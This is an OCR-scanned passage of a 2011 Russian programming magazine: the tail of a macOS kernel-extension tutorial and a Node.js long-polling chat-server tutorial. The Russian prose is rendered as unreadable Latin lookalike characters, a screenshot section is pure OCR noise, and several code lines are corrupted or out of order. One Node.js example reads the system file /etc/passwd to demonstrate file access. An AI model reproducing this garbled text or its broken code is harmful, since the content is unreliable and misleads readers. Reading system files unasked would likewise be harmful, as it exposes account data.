3. BkauecTBeMmeHn npoekTaykasaTb SampleKext (na, a HacTangaio:)).

EcnanTbinpaBunbHO peann3oBa ONMMCaHHbI Bbille HEXUTPbIA
anropuTM, TOBKavyecTBe eroIorMYHoro 3aBeplleHmns cucTema cospact
3aHac pann SampleKext.c. BHeM bynyTcofepxaTbcs fiBe GyHKLUM:
SampleKext_startuSampleKext_stop. Kak Tblyxxe goragancs, 3Tn pyHk-
LMV BbI3bIBAKOTCS NPV 3arpy3Ke/BbIrpy3Kke paclumperns. B wabnoxe sty
GYHKLMM HMYEro nosie3Horo He ieNnaltoT, a B peasibHoM kext'e oHM 0TBeYatoT

hieww Frujmi
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KOAUHIr

Moprpyxaemkext ansa TecTupoBanus

3aperucTpayuio callback’oB gns paznnyHbix cobbITUI Sapa v pyrue
AeNCTBUSA N0 MHWLManu3aLmuu/aenHnymanusaymum pacwmpenus. Hanpu-
mep, B SampleKext_start Mbl Mornu 6bl 3aperncTprpoBaTh COKeT, Yepes
KOTOPbIA NPUKNaLHble NPorpaMMbl MOrK bbl 06WwaTbcs ¢ Hawum kext'om.
Ho ans Havyana Mbl B 3TUX GYHKLMSX TONIbKO BbIBE,EM TECTOBbIE COOBLLEe-
HWUS, KOTOPbIE MOXHO BYAeTYBUAETb NPY 3arpy3Ke/BbITpy3Ke pacliMpeHis.

SampleKext.c
#include <sys/systm.h>
#include <mach/mach_types.h>
kern_return_t MyKext_start (kmod_info_t * ki, void * d)
{
printf("Kext loaded.\n");
return KERN_SUCCESS;
}
kern_return_t MyKext_stop (kmod_info_t * ki, void * d)

printf("Kext unloaded.\n");
return KERN_SUCCESS;

CbopkanpoekTanocnesTtoronpoifetbe3npobnem, Ho ecamnTbl nonpo-
byewb 3arpy3untb SampleKext.kext, To Huyero xopotero He nonyuunTcs,
MOCKOJIbKY Mbl eLLie He N03aboTununch o cofepXxnMoM plist-daiina. Kaxgbiit
kextobsizaTenbHo gonmxeH cogepxaTb Info.plistB XML-dopmaTte. [ocMoTpum
BaXKHble 4151 PaBUIIbHOM 3arpy3Ki pacLLMpeHus Koumn B 9ToM paiine:
¢ CFBundleldentifier—unaenTudukartop kext'a. Hanpumep, com.apple.

driver.AppleUSBMergeNub.
¢ CFBundleExecutable —6uHapHbiii paiin kext'a. Ero MoxeTnHe bbITb B

cnyyaelOKit-gpaiisepos.

L

ONA KOPPEKTHOU 3ATPY3KHU
KEXT'A LOCTATOYHO

BYAET MNONPABUTDL
OSBUNDLELIBRARIES
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e CFBundleVersion—Bepcus 6aHgna.

e 0SBundleLibraries—nn6bl, oTKoTopbix 3aBUcKT kext.e
10KitPersonalities —06bekTbl |0 Kit, 4715 KOTOPbIX HY)XXHO MOAFPYXaTb
sToTkext. Ecnuato fpaiiBep, KOHeYHO.

[ockonbKy Mbl cO3f,aeM He AipanBep, a 06blYHOE pacLlumpeHe
A4pa, ANs KoppekTHoM 3arpy3ku kext'afjoctaToyHo bygetnonpasuTb
OSBundleLibraries. 1nsToro4tobblaBToMaToM MoAy4YUTb CMMCOK BCEX KOM-
NOHEeHTOB, 0T KOTOPbIX 3aBUCUT PacLUMPEHNE, MOXHO UCNONb30BaTh Y TUAUTY
kextlibs. 3anycTus ee c kntoyom -xml, Tbl cpasy nosnyuniub XML-kog, KoTopbiit
HY>XHO0 B0b6aBuTb B plist-paiin:

kextlibs -xml MyKext.kext

<key>0SBundlelLibraries</key>

<dict>
<key>com.apple.kpi.libkern</key>
<string>9.2.2</string>

</dict>

Haww kext3aBucutBcerootofgHoro afneMeHTa. CKonmpyem atoTkof B
Info.plist. AnsaToroytobul Haw kext3apaboTan, ocTancs oAvH BaXKHbIN Lar:
banan kext'ajonKeH npuHagnexaTb agMUHUCTpaTopy. s TecTupoBaHus
cKonupyem eros/tmpcnpasamu pyTa:

sudo cp -R SampleKext.kext /tmp
BoTTenepb MOXHO 3arpyxaTh Hall MOLYb:
sudo kextload /tmp/SampleKext.kext

Mocneatoros/var/log/system.log Tbl MOXeLLb yBUAETL BbIBOA HALLErO
kext'a. YTo6bl BbIrpy3uTh kext, ucnosnbayem kextunload: sudo kextunload/
tmp/SampleKext.kext.

OUTRO

Mbl co3ganu npocTeiunii Mogynb sapa ans Mac 0S X. Bece, 4To oHyMeeT
Ha CerofjHs, — 3T0 KOPPEKTHbIM 06pPa30oM 3arpyXaTbCs v BbIrpyxaTbcs. B
naeane e MOLYIN AAPA MOMYTUCMOIb30BATLCS HE TONIbKO A5 CO3aHUS
LpaiiBepoB, HO 1, HAaMpUMep, A1 BbIHECEHWS YaCTO UCMOJIb3YeMO MHO-
TYMU NPUKNAAHBIMY NPOrpaMMaMi GYHKLMOHANBbHOCTU B CEPBUC AApa.
YpnauHoro kernel-kogutra! 3C
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Cepreit KoHoHenko (kononencheg@gmail.com)

-1 JavaScript
LISl cepBepa

NMUALLIEEM CEPBEP
MIHOBEHHbIX
COOBLLEHUMA
HANODE.JS

Bce 3HaloT, 4T Takoe
JavaScript. Ho Mmano kto
MOXeT NpeACTaBUTb ero
obpabaTbiBaloW MM He TeKCT
B lMBaX M cnaHax, a Tbicaun
M ThICSYM BXOLALLMX 3aNPO-
coB. Mbl cerofHs He T0OJIbKO
npeAcTaBuUM, Ho v pa3pabo-

TaeM Ha JS cBow cepsep!

LINKS [INFO
nodejs.org—caiT Macwrabupyemoctb—
npoeKTa, 3aechXe 370 60/1bHON BONpoC
AOKYMeHTauus u ansNode.js.
npuMepsbl. OcHoBHasinpo6nemMa—
B3auMopeicTB1e
MeXAay npoLeccamu.
HoecTbusswHoe
pelueHu1e cnoMoLybio
publish/subscribe-
B3aUMOAENCTBUS,
ucnonb3yowero 6asy

naHHbIX Redis. Bo3-
MOXHO, Mbl 06 3TOM eLye
HanuweM.
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JavaScriptnns cepsepa

0 0 0 JS Lo AL A R T P —— £ Conhe Dot - [ r——— T T
PaHbLLIe,D,ﬂﬂ CO3[aHNA KaCTOMHOro cepsepa HeO6X0,qV|M06b|J-|O MPUIOXUTb = » ahnn oA
HeMaroycunuii, a pa3paboTka acuHXPOHHOW MOJE M yPaBEHNS BBOLOM i

Sl et i ad & [erereTy s [ - L - - B

1 BbIBOAOM loCTaBNsNa HeMano npobaem. laxe Python c Twisted cnacan
cnabo.OpHako cnosisneHvem Node.js3afa4a HeBepOATHO YNpPOCTUAACD.

Ecnurosoputb BukunepuitHo, To Node.js— 370 cobbITUIIHO-
opueHTupoBarHas |/0 cepsepHas cpepa ans JavaScript. Arpy6o rosops,
cneumnanbHblii JavaScript-gppeiMBOpPK, NO3BONAIOLWNIA AeNaTb BELLY, B
obueM, Ana ABackpunTa HexapakTepHble, Bpoge paboTbl ¢ paninoBont
cucTeMolil, npoueccamu nnu cosganus HTTP-cepeepoB be3o Bcsikux bpay-
3epoB 1 BI0HOM OKPYKEHUU.

YT106b!I 66110 NOHATHEE, NOCMOTPU Ha KOA, KOTOPbIN Co3AacT web-
cepBep, 34,0pOBatOLLNIACA COMHON:

ool vt 2 ot oot il ! Uil il ! oot v 0 o} Do dudoimie 0l s
 cecefoi st i 0! i v A s Lo 2o e U cepdhimat i ad w0 Uoodilamte 0 moo!
won ! Wppdmnas a1 en! Uoodanns o e | L epditiin 3 B Lrt ik e A1 B!
poen] Linpdmnms a1 pes! Lordaeee oo ey | Lopds A ek A et
Lopasdion an o ! L eod winos ane podn! Loslainion a3 mer % ESTE A AT et
Coshaziing s biea! L odtwinos 3o podn! Lorbuinse 334 s AR D oatuoe i s
Costeshe 3 soex ] Cosfimome 1 ey Cosfmese 1w mei! T CLiT A i o el
Cosfepme gim peex! Cosdeome 1w scen! Coobmease oo Cosfep m ween ! O i A et
Costasioe i poex! Coslimnme 13 pecx! Cootiicne 1o Reen! Costasion X1 soex! Coolinis 11 !
Costesane 2 soex! Cosfumome 1 eea! Coslmene 1w e C 2aE peen! O i e
Cosleyame g soex! Coodmeme 1 oo ! Coofmpeme 1w ey Cosdee a2 ween ! T A et
C o 5 neen ! Coodmeme 11 woen! Contmenms 1w soen ! Cpofeapine 51 soes | Condapemes 1 s’
Cadmeyme 5 noen. ! Coodmenne 1w s Contmemse om wren ! Coofmenme 5w sees ! Conmemes m ey’
Cradimprves g wcen,| Condmews pm swey ! Coofimeme o soes | C ooty v e ! Condng o e
Copdiaprvs g e Condapms om s | Coofiorme 1 e Cnodey mow mown] ¥ A g
Coofiegws g e Condopws pm ! Coofimmes pw sces! Coollems g e ! ConSopees 1w s !
Coofiestms g acvr] Conlugme pm soes! Confimmes 1w woex! Coolk
Coslesoe gimsces! Coodorme 1w aoct! Coofiarees tw woei Coolk mam mewn! I L RO
Cloofiesymes i aoen! Coolmene 1 soce! ool 2o meea” Dol 2 oen! Condurmes 158 R
Cloofiewims 18 boen! Condarme T aodn! Coolimeees 1o soen? Cooferine 1 Soei ! Condoess 158 ke

var http = require('http');

http.createServer(function(request, response) {
response.writeHead(200, {'Content-Type': 'text/plain'});
response.end('MpuBeT, KoHoHeHKa!');

}).1listen(8080, '127.0.0.1');

console.log('CepBep 3anyweH http://127.0.0.1:8080/");

B3rnsp cocTopoHbl KNueHTa

return Math.PI e r e r;
b5

exports.circumference = function (r) {

ABOTTaK Mbl €ro 3anycTum:

% node uma_odaitna_ckpunTa.js
CepBep 3anyueH http://127.0.0.1:8080/

MoHsATHOE AeN0, 4TO BMECTO MPUBETCTBUS MOXHO BblAaBaTb <html>
<head><title>...ntak gasnee.;) Kpome 6bicTpoii oThaum 3abaBHbIX NprBeT-
CTBUM 1 CTaTUYHON BEPCTKM MOXKHO peanin30BaThb MPakTU4ECKN 4ToyrogHo!

«Kakoi bblcTpoin? ABacKpUNT—3T0 XKe MefIeHHO!» —BCMOMHULLb
Thi M byaewboTyacTM npas. HontyTsaMory Tebsi nopafoBath! BkayecTse
JavaScript-geuxka B Node ncnonbayercs HeNpeB30NAEHHbINA TYr0BCKKA V8,
amofeslb BB0AA/BbIBOAA BO BHYTPEHHOCTAX UCKJIIOYNTENIBHO aCUHXPOHHAS.
BmecTe aTo AaeT 61ecTsLLyI0 CKOPOCTb, AOCTONHYI0 BbICOKOHATPYXEHHOT0
cepBuca. [lokazaTenbCTBOM 3TOr0 ABASETCATO, 4To UMeHHO Ha Node yxe
ycreLlHo peann3oBaH cepBep 06MeHa MrHOBEHHbIMM CO0bLLeHNAMM Ha
«BKoHTakTe», ayxrae-rae, ataM Harpy3ka oro-ro. K cjioBy, HeMHoro noxo-
KU CepBEP Mbl 1 HaMMLLEM, HO BHa4asle HEMHOr0 MaHyaslbHOM Teopuit.

HOBOBBEJJEHVA B NODE

[MepBoe, YTo MOrNI0 HpOCUTHCS B r1a3a B NpUBejeHHOM BblLLie CKpUnTe, —
aTorequire. Hoaa Bce MHTEpeCHeHbKOE 1 ToTOBEHbKOE (To ecTb MoyTH BCe)
[ePXKUT B CreLnanbHbIX Mofynsx. IMEHHO X M MOArpy>KaeT rnobanbHbIA 3TOT
meToq. YacTb Mofyneii Hanucarbl Ha C++cnnbamu V8, yacTb Hemocpe ACTBEH-
Ho Ha JavaScript'e. CamocTosTenbHO JS-Mofy b cieaTh 04eHb MPoCTo:

Haw moaynb circle.js
exports.area = function (r) {

[ I .....
pollingtestxoker kononenkol sudo mode Lerver.js
Xxy coemguieiuad !

B3rnspcocTopoHbl cepBepa
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return 2 e« Math.PI e r;
b

3pecbBCcTpeYyaeTcs BTopov rnobanbHbl 06bekT—exports. BHyTpu
CBOEro Mofy/is Mbl onpefeNnsieM B HeM 1tobble CBOW MeTOAbl, KOTOpbIe
nocne byayT BocTynHbl n3BHe (aream circumference—s npumepe). Boc-
NoJfib3yeMcs 3TUM MOAYEeM:

var circle = require('./circle.js");
console.log( 'Mnowasb Kpyra c paguycom 4 paBHa %d’,
circle.area(4));

YT106bl BbIBECTM NAIOLWAAL KPYra Ha 3KpaH, Mbl N0J1b3yeMCs TPETbUM
rnobanbHblM 06beKTOM —console, npefHa3HaYeHHbIM N5 BbIBOAA B
stdoutu stderr. Metog log() — 370 printf-nogobHbiit MeToa (Knaccuyeckuit
dopMaTnpoBaHHbIi BbiBoA B JavaScript—aTo cyactbe. — Mpum. pea.)
nnaBbiBofa B stdout, meTog error()—To e camoe ansa stderr. MocneaHun
MHTEepecHbIV rnobanbHbIM 06beKT—3To process, faloLyMil HaM NoJTHbIN
KOHTPOJIb HAaf UCMOJIHEHWEM TeKyLLero npouecca. BotTonbko HekoTopble
13 eroMeToL0B 1 0OBEKTOB, KOTOPbIE COBEPLUEHHO TOYHO MPUTOAATCSA NPU
boflee nnn MeHee cepbe3HOM NPOrpaMMmMpPoOBaHUM CepBepa:

e process.stdout, process.stderrunprocess.stdin—notoku ctaH-
LapTHoro BBoga/BbiBoga. [Lnsa nepsbix ABYX METOA Write B pyKu, 1
nonyyutcs concole.logmn console.error, aBoTMeTo stdin—3T0 yxe
nHTepecHee. Node —nnaTtdpopmMa cobbITUAHO-OPUEHTUPOBAHHAS,
aCUHXpOHHas. [o3ToMy ANd NoNyYeHUs CTaHAAPTHOro BBOAA ONpefe-
nseTca npocTas GyHKLUS K cobbITHiO:

process.stdin.on('data’, function (chunk) {
// ne4yaTaem nonyYeHHblii CUMBO
process.stdout.write('data: ' + chunk);

;s

DyHKLMM, KOTOPbIe YKa3blBAKOTCS BKa4eCTBe apryMeHTa, — 370
callback-dyHkuun. OHu cpabaTbiBatoT Npu HeKOTOPOM cobbiTuN. B
3TOM, KCTaTU, N BCS CYTb COBBLITUIAHON OPUEHTUPOBAHHOCTH, HO 3TO Thl
BCe MpeKpacHO 3Haellb.

® process.argv—mMacCcuB CapryMeHTaMm KoMaHAHON CTPOKM, 3aaHHbI-
MU Npu 3anycke.

// ne4yaTaem aprymeHTbl
process.argv.forkach(function (val, index, array) {

console.log(index + ": ' + val);

;s
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e process.cwd()—pab6oyas gupekTopus npouecca.

e process.pid, process.getgid() process.getuid() —tekywniiid npouec-
ca, aTakxegiduuid.

¢ process.kill(pid, signal="SIGTERM') —y6beT3aaaHHbIN npoLecc.

e process.exitlnum) —3asepwuTTekywmi npoyecc. Kctatu, npoyecc
3aBepLIeHNs MOXHO OTC/1eANTb, 3aperucTpMpOBaB COOTBETCTBYOLLEee
cobbiThe:

process.on('exit', function () {
console.log('f Taw... Taw...');

oK

Mpoune rnobanbHbie 06BEKTLI M NX METOAbI Y)XKE HE TAKWUE UHTEPECHbIE,
3aT0 4TO MHTEPECHO, TaK 3TO MOAYJIU, KOTOPbIE MOXHO NPpUKPYTUTL K Node.
K3ToMy MOMEHTY Tl J0J1)KEH COBEPLUEHHO TOYHO NMOHATb, 4To Node.js

—3To HepeasibHO KpyTo. i, HanpuMep, BCMOMHWJI, YTO BCHO XXKM3Hb TOJIBKO
nMeyTan, yTo HanucaTb cBoii Beb-cepBep! M 6e3 Kakux-HWbyab Tam
yHbibiX CGl-ckpunToB, a c cokeTaMu, nycTb faxe «Beb»! Tenepb 3To nerko
peanusyemo.

BUBJIMOTEKW OJ1A IMYTALLN

COKETHOI0 COEOVMHEHWNA

MrHoBeHHOCTb CO06LLEHNI Hallero cepBepa byfeT3akN04aTbCs BTOM,

4TO laHHble MeXAY Nosb30BaTeNsaMun byayTnepefaBaTtbes 6e33afepxek

BcTunereal-timeweb. 06ecneynBaTtbcs 370 byaeT C NOMOLL b0 IMYNALUN

NoCTOSHHOrO coefjMHeHus ¢ bpay3epoM. CaMas coBeplleHHas TEXHOOI S,

NnocTOsiHHOE ABYXCTOPOHHEee CoejuHEHWe C Bpay3epoM, K CoXaneHuio,

NoALEePKMBAETCS TONIbKO HOBbIMM Bpay3epamu. A Halw byayLwmin cepsep

L0JKeH CyMeTb laTb HAaCcTOSWNI peanTaimM-Beb nobomy knnenty! ns

CO3/aHWA peanTaiM-Beb-NPUI0XKEHNI CyLLECTBYET MHOMO Pa3fIYHbIX

pEeLUEHWNI, HO AN HALLEro CyYas X BCEro HUYEro:

e OuyeHbnonynapHas bubnunoteka Soket.|0 nopapyeTKpacuBbIM fu-
3alHOM FM1aBHOM CTpaHuLbl npoekTa http://socket.io/ v npuanYHbIM
KOJIMYeCTBOM Nl eK 1 cBucTenok. OHa obelaeT o4eHb MHOroe cae-
natb3aBac. /loHa, KoHe4Ho, fenaeT. MofaepxnBaeTKyyy cnocobos
COeAMHEHNS: OT HOBbIX Be6-COKETOB 0 BeYHbIX alppeiimMoB. HoBas
BEPCHS NO3BOJIUT FEHEPUPOBATL CEPBEPHbIE COObITHS, CONPOBOXAAE-
Mble laHHbIMK. B CeTu nerko ryrnuTcs Kyya TyTopuanos U NnpuMepoB,
OMWCHIBAKLLMX TO, Kak 3Ta bubnnoTtekaynobHa n kpyTa.

¢ [opazpoMeHee nonynapHa (a3sps!) 6ubnnoreka Beseda, koTopas
fenaeTnpuMepHo TO Ke caMoe, 0AHaKo MMEEeTTOJIbKO peno3nTapuii Ha
rutxabe (900.01/9S0JR). OHa nopaepxueaeT rnbkui npotokon Bayeux
NTpMcnocoba coeANHEHNS C CEPBEPOM.

[locTonHCTBOM 00eUX OUBNNOTEK ABNSETCH TO, YTO UX AENCTBUTENBHO
nerkoucnonb3osats. [paBaa, Soket.|0 nnoxo paboTaetcoBcemu cnoco-
6aMu nopaepXKu coeguHeHNs, KpoMe Beb-cokeToB. Takke cyyatoTcs
yTeukn NaMaTh M HeobbACHUMbIE NafeHNs cepBepa NPy 0THOCUTENbHO
HebosblOM KonnyecTBe KneHTos (bonee 5000). ABoT Beseda 6e3 Beb-
cokeToB Henoxo cnpasnsetcsauc 20000 knunenToB. [lan cBeb-cokeTamu
oHapaboTaeTnowycTpee.

HAMWLLEM JTYYLLIE!
YT06bl NyYyLLe BbexaTb B HOBYIO TEXHOJ0T M0, BCETAa NOJIE3HO N306pecTy
Benocunen. AocobeHHo xopoLuo, ecniv Benocunes byneT bbicTpbIn.

Kak nokasanmoi onblTpabotsl ¢ Node.js n JavaScript, yeM npoue —
TeM bbicTpee. [To3TOMy Aaxe Ans peafnbHOro npuMeHeHus ceos bubnuno-
TeKa MOoXeT 04YeHb Aaxe croantbes. CocToaTh Halwa bubnnoTeka bynet
13 o0pHoro dannaio.js. AAns NpoBEPKMW M OTNAAKM eLLe fBa— CLLeHapui
cepBepaserver.jsu ctpanuuaknneHTaindex.html.

CaMbIMyHMBepPCaNbHbIM CMOCcoHOM NOAAEPXKUBATH MOCTOSHHOE COELU-
HeHue c cepepoM siBnseTcs long-polling-coegnHeHve, No3TOMy A5 Ha-
yanapeanusyeM ero. HaMm BaxHo, 4T06bI HaLl CEPBEP MO MOAAEPKMBATD
KYy4y COELUHEHWI, HE TEK U HE TOPMO3U .

Mocne [LOoNrUX MYNOPHbIX KOBLIPAHWUIA B UCXOAHMKAX, OTAAAKMN U
npopunuposaHus Soket.I0 npuynHa nageHnin M TOpMO30B, 0 KOTOPbIX
S roBopun Bbile, bblna HangeHa! 3To TaiiM-ayTel, obpabaTbiBatoLne
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abopMogyneiiNode.jsynoBneTBopsieT noTpeOHOCTH NpyY Hanuca-
HUW 04eHb 60MbLLIOro KoMyecTBa codTa.
CmoTpu cam:
o fs—mMopynbansapabotbl c paiinoBoi cucteMoi. Ectb MeTogbl A Ntobbix
ornepawui, 0T YTEHWS 1 3aNUCU L0 CO3,aHUS CUMBOJIMYECKNX CChIJTOK.

fs.readFile('/etc/passwd’, function (err, data) {
if (err) throw err;
console.log(data);

s

e crypto—kpuntorpaduyeckune MeTofbl: X3LLUMPOBaHMeE NtobbIMK an-
roputMmamu [shal, md5, sha256, sha512 . n.), KoHBEpPTALMS AAHHBIX
1, cobcTBEHHO, Ntoboe wWudposaHue.

e net—wmopynb AN acuHXpoHHoW paboTel c TCP.

var net = require('net');

var server = net.createServer(function (c) {
c.write('hello\r\n');

c.pipe(c);

1

server.listen(8124, 'localhost');

e dgram—pgnsacuuxpoHHoi pabotelc UDP-u apyrumu fatarpamHsi-
MU MPOTOKOAAMMU.

e events— s peannsalnm cBoeil CObbITUINHON CUCTEMBI.

e util—Habop nonesHbix MeTo0B: opMaTUPOBAHUE CTPOKM, NPU-
HyAUTeNbHOe HacnefoBaHMe.

e tls—wumnnemeHTauuns OpenSSL, ToecTbynobHble SSL-coepnHenmns
ANA TBOMX NPOrpamMMm.

* vm—BupTyanbHas JavaScript-MalunHa, T. . MOAYNb ANIA 3aMNyCKa 1
KoMnunsaumu (eval aToro He ymeeT) js-ckpUnTOB BHYTpY CBOEW Npo-
rpaMMbl.

var localvar = 123,
usingscript, evaled,
vm = require('vm');
usingscript = vm.runInThisContext('localvar = 1;',
‘myfile.vm');
console.log('localvar: ' + localvar +
', usingscript: ' + usingscript);
// localVar: 123, usingscript: 1

'

e dns—pesonBuHrnoboix 3anucein (MXut.n.).

e http, https — go6poTHbie M BbicTpble peanusauum web-cepeepos.

e child_process—paboTacpgoyepHumu npoueccamu, bopk, exec,
spawnuT. m.

® 0S—BCe, YTOHY)XXHO OTONepaLMOHHON CUCTEMBI.

EcTb elle Ky4yan ctaHoapTHbIX Mo,u,yneﬁ, MWHEeCTaHOapTHbIX, HAaNUCaH-

HbIX CTOPOHHUMW pa3paboTynkamu: oT Modyneit ons pabotel MySQL o
NoJIHOLLeHHbIX Beb-ppeiMBOPKOB.

XAKEP 10/153/2011



JavaScriptons cepsepa

W W] index.himl (= Projects fxaker) - gedit
i & Qd S 9
e _
=l Oborpesatens dairos R fenj% serverjs 3 imdex el 3§
* | @ -
— - LG POLLIMNG.: >
Lt & re="https:/fajox. googleapis. comfajax1{basdquery/l . 6.2/ Jquary. {8"
i i
index.himl wvar conectionID;
=K ]
i ect() {
SEIVEr s N
" %.post("" . fumction{dato) {

conecktionID = dato;
poll);
i3 H
i

function hand
data = data

whil

3

nocticnll, hondleData);

F
[ SuinsTD MO ikbERM
=

HTML % lwpusa Talynsune: 4 % Crp 9, Crob 138 BCT

MpoueccpaspaboTkn

Ka[0e COeiHEHNE C KTIMEHTOM. KaX Ablit aCMHXPOHHbIN LUK, MOA-
nepXxuBaloLnin nornky obpabotku long-polling-coeanHeHns, ecT MHo-
ropecypcos. [l03ToMy Hafo NocTapaTbCs y>KaTb BCE B OAWH LK. [Ing
3TOr0 Kax/oe cCoefjuHeHne NpejCTaBUM «MNI0CKMM» HabopoM JaHHbIX,
KoTopbli byfeT cofep)aTb MHGOPMALMIO 0 TOM, B KAKOW MOMEHT ero
HeobxoANMOo 06HYNNTL, OTNPABUB COEPXMMOE KNNeHTY. [lng aToro B
banneio.js HanuweM cneayoLnMin KOA:

// WHTepBan npoBepkyu HaNU4UA HOBbIX AAHHbIX
var CHECK_INTERVAL = 1000;

// MakcumanbHbHOE KOMMYECTBO MTepauuil nepej
// obasaTenbHbM cbpocom

var MAX_LOOP_COUNT = 10;

// Tabnuua coegnHeHuin

var connections = {};

// LlaHHble coeanHeHuAa

var LongPollingData = function() {

this.loopCount = MAX_LOOP_COUNT;

this.dataQueue = [];

this.response = null;

I3

// WTepauua OCHOBHOro LMkna

function mainLoopIteration() {

var pollingData;

for (var id in connections) {
pollingData = connections[id];

if (pollingData.response) { // Ecnv KAWEHT NoaK/w4YeH

pollingData.loopCount--;
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// ...n UMeeT JaHHble b0 JONr0 BUCUT 6e3 aena
if (pollingData.dataQueue.length
|| pollingData.loopCount === @)
flush(pollingData); // ...c6bpacbiBaem ero
)
¥

¥
function flush(pollingData) {

pollingData.response.end(pollingData.dataQueue.join('|"));
pollingData.dataQueue = [];
pollingData.response = null;

}
setInterval(mainLoopIteration, CHECK_INTERVAL);

Kaxayto ntepauuio Bce coeiMHEHNS NPOBEPSIOTCA Ha HAUYMe fLaH-
HbIX MW Ha NpocToit. B cnyyae, ecnu B coegnHeHve NpuLWAN AaHHble nnbo,
HaobopoT, faBHO HMYEro He MPUXOANIIO0, TEKYLLMIA 3anpoc obpbiBaeTCs €
0TNpaBKOM fjaHHbIX. [locsie Yero KANEHT foJXKeH NocaaTh HOBbI 3anpoc.

MpakTuyeckn bubnunotekarotosa! Tenepb He0H6X0ANMO faTb BO3MOX-
HOCTb KJIMEHTY Mosly4aTb CBOV UAEeHTUGMKATOP 1 obpabaTbiBaTh «A0ATUA»
3anpoc AaHHbIX, @ TakXKe 3aNnCbiBaTh laHHbIe B COeANHEHME.

var lastID = @; // WneHTudMKaTop nocnefHero coeauHeHus
// Peructpauus KivMeHTa v BO3BpalleHUe ero naeHTudukaTopa
var init = exports.init = function(request, response) {
var id = 'connection_' + ++lastID;

connections[id] = new LongPollingData();
response.end(id);

5
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// «YpepxaHue» 3ampoca AaHHbIX COeAUHeHUs
var hold = exports.hold = function(id, request, response) {
var pollingData = connections[id];
if (pollingData.response !== null)
flush(pollingData);
pollingData.response = response;
pollingData.loopCount = MAX_LOOP_COUNT;
5
// 3anucb JaHHbIX B CoefuHeHue
var write = exports.write = function(id, data) {
var pollingData = connections[id];
pollingData.dataQueue.push(new Buffer(data.toString()));
¥
// 3anncb LaHHbIX BO BCE COEAUHEHUA
var broadcast = exports.broadcast = function(data) {
for (var id in connections) write(id, data);

}

Y1066l BOCNONb30BaTLCSA HalLel b1UbAnoTEKON, UCMONb3YeM yxe
3HaKOMOe CJIOBO require:

var io = require('./mycoollibrary/io.js'");
io.broadcast('npekpacHoe coobueHnue');

TenepbfaBaii nonpobyeM Halwly 6MBAMOTEKY NPUMEHUTbL KacaTeNbHO
OCHOBHOW LieJI CTaTbW, TO €CTb AaBal y)XKe HanuLweM CepBep MrHOBEHHbIX
coobuieHnin. B panine server.js3anuwem:

var http = require('http'),
fs = require('fs'),
io = require('./io.js"); // Hawa!

var server = http.createServer();
server.addListener('request’, handleRequest);

server.listen(80, 'localhost');

function handleRequest(request, response) {

if (request.method === 'POST") {
io.init(request, response);
} else {
if (request.url === '/' || request.url === '/index.html') {

fs.readFile('./index.html', function (err, content) {
response.end(content);
s
} else {
io.hold(request.url.split('/').pop(), request, response);
}
}
}

// KTo-To Bcex 4acTo onoseuaeT!
setInterval(function() {
console.log("OTcbinaw coobuenne!");
io.broadcast("CoobueHnue ans Bcex!");
}, 500);

POST-3anpoc bygeT BoCMpUHMMATLCA HALLUM CEPBEPOM KaK perncrpa-
LMs HoBOTO KNIneHTa, a GET-3anpoc BuAa «/MAEHTUGUKATOP_KIMeHTa»
ByneT BOCMPUHAT KaK «B0IrourparLLmit» 3anpoc. Hy a ang amynsauum
MHTEpaKTUBHOCTU Kaxable 500 MunnucekyHp bypeTnocbinatbes coobuye-
HMe BCEM MOSIb30BaTENSAM.

OTK/IMEeHTa 0XKMAAETCS, YTO OH byAeT perncTpupoBaThes, AepXKaTb
COefJMHEHWE U NepenofKYaTbes. M HUKaKMX cneynanbHbiX KITMEHTCKUX
6ubnnoTek. Y10, KCTaTU, TOXE MOXHO PACLEHNTH KaK HELOCTATOK OMUCAH-
HbIX BblLlle bubnunoTek.

KnneHTckni Kog Hanuwem npsmo B index.html (3apaHee nogknoyns
jQuery):
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TUMbI TTOCTOAHHOI 0 COEANHEHWNA
C BPAY3EPOM

a AaHHbI MOMEHT CylliecTByeT
NATb CMOCOHOB NOAAEPXKKM MOCTOAHHOTO
coefiMHeHus c bpay3epom:

e WebSocket'bl—B03M0XHOCTb HOBbIX 6pay3epoB NoaAepXKMBaTh Co-
KeTHoe coeuHeHune no npotokony HTTP.

e FlashSocket'sl—3mynsuua WebSoket'os npu nomoLm cnewuansHom
dnewkn. Cnocob BO3MOXKEH TOSIbKO NpU Hannuum gaeLl-nieepa.

¢ Longpolling—«ponrourpatowyne» 3anpocbl. Cnocob, npm KoTopoM Ha
06bI14HbIN HTTP-3anpoc cepBep He CNeLwWwunT 0TBeYaTk, a y4epXX1MBaeT ero
KakKoe-TO BpeMs 10 N0SIBIeHUS HOBbIX AaHHbIX, OC/Ie Yero oTBeYaeT 1
3aKpblBaeT coefiuHeHKe. Tak)ke BO3MOXKEH BapuaHT ¢ jsonp-dpopMaTom
otBeTa.Cnocob nopnepxuBaercs BceMu bpaysepamu.

e Multipartstreaming—po3anuceiBatowniica oteet cepsepa. HTTP-
3anpoc, KOTopbI MOXKET YATaTbCs He 3aKpbiBasic. [ToaaepxuBaeTcs
Tonbko Firefox'om.

¢ Foreverlframe—BeuHbilialidpeiiM, B KOTOPbIA JONUCHIBAOTCS HOBbIE
nopuuu aanHHelx. Cnocob nogaepxnsaeTcs BceMn bpaysepamu.

<script>
var conectionID;

function connect() {
$.post("http://localhost/", function(data) {
conectionID = data;
poll();
s
}

function handleData(data) {

data = data.split('|');

while(data.length > @)
$('body"').append(data.shift() + '\n');

poll();

¥

function poll() {
$.get("http://localhost/" + conectionID, handleData);

}

connect();
</script>

BoTBecb HeobxoauMbI paboyumnin ckeneT fNs cepBepa MrHOBEHHbIX
coobuieHuir. lMoka oHyMeeT B peasibHOM BpeMeHM pa3faBaTh BCEM CO-
06LeHNs, 0flHAKO Xe y Hero 04eHb 6onbLLON NoTeHLMan. Heckonbknmm
CTPOYKAMU MOXKHO ByleT HAayYNTb Hall cepBep, HanpuMep, 0b6MeHy co-
06LLEHNAMU MEXAY NONb30BaTeNIMU MU paboTe c 6a30M faHHbIX — B
obLeM, yeMy yrogHo.

BbIBObI
MoxHo BnosnHe noHaTb, noyemy Node.js Tak bbicTpo HabupaeTnonynsp-
HOCTb, CO0BLLECTBO pacTeT, a bubanMoTeKn NNoAATCH Kak XOMAYKMU.

Ewe 6b1, BegbTenepb Kax bl KTO XOTb KaneJsibKy 3HaKOM ¢
JavaScript'oM, MoXeT cuuTaTh cebsi Cepbe3HbLIM CUCTEMHbLIM MPOrpaMMu-
cToM! Kax bl Tenepb CMOXET MPeBpaTUTb YHbIYI0 CTaTUKY B 3aXBaThi-
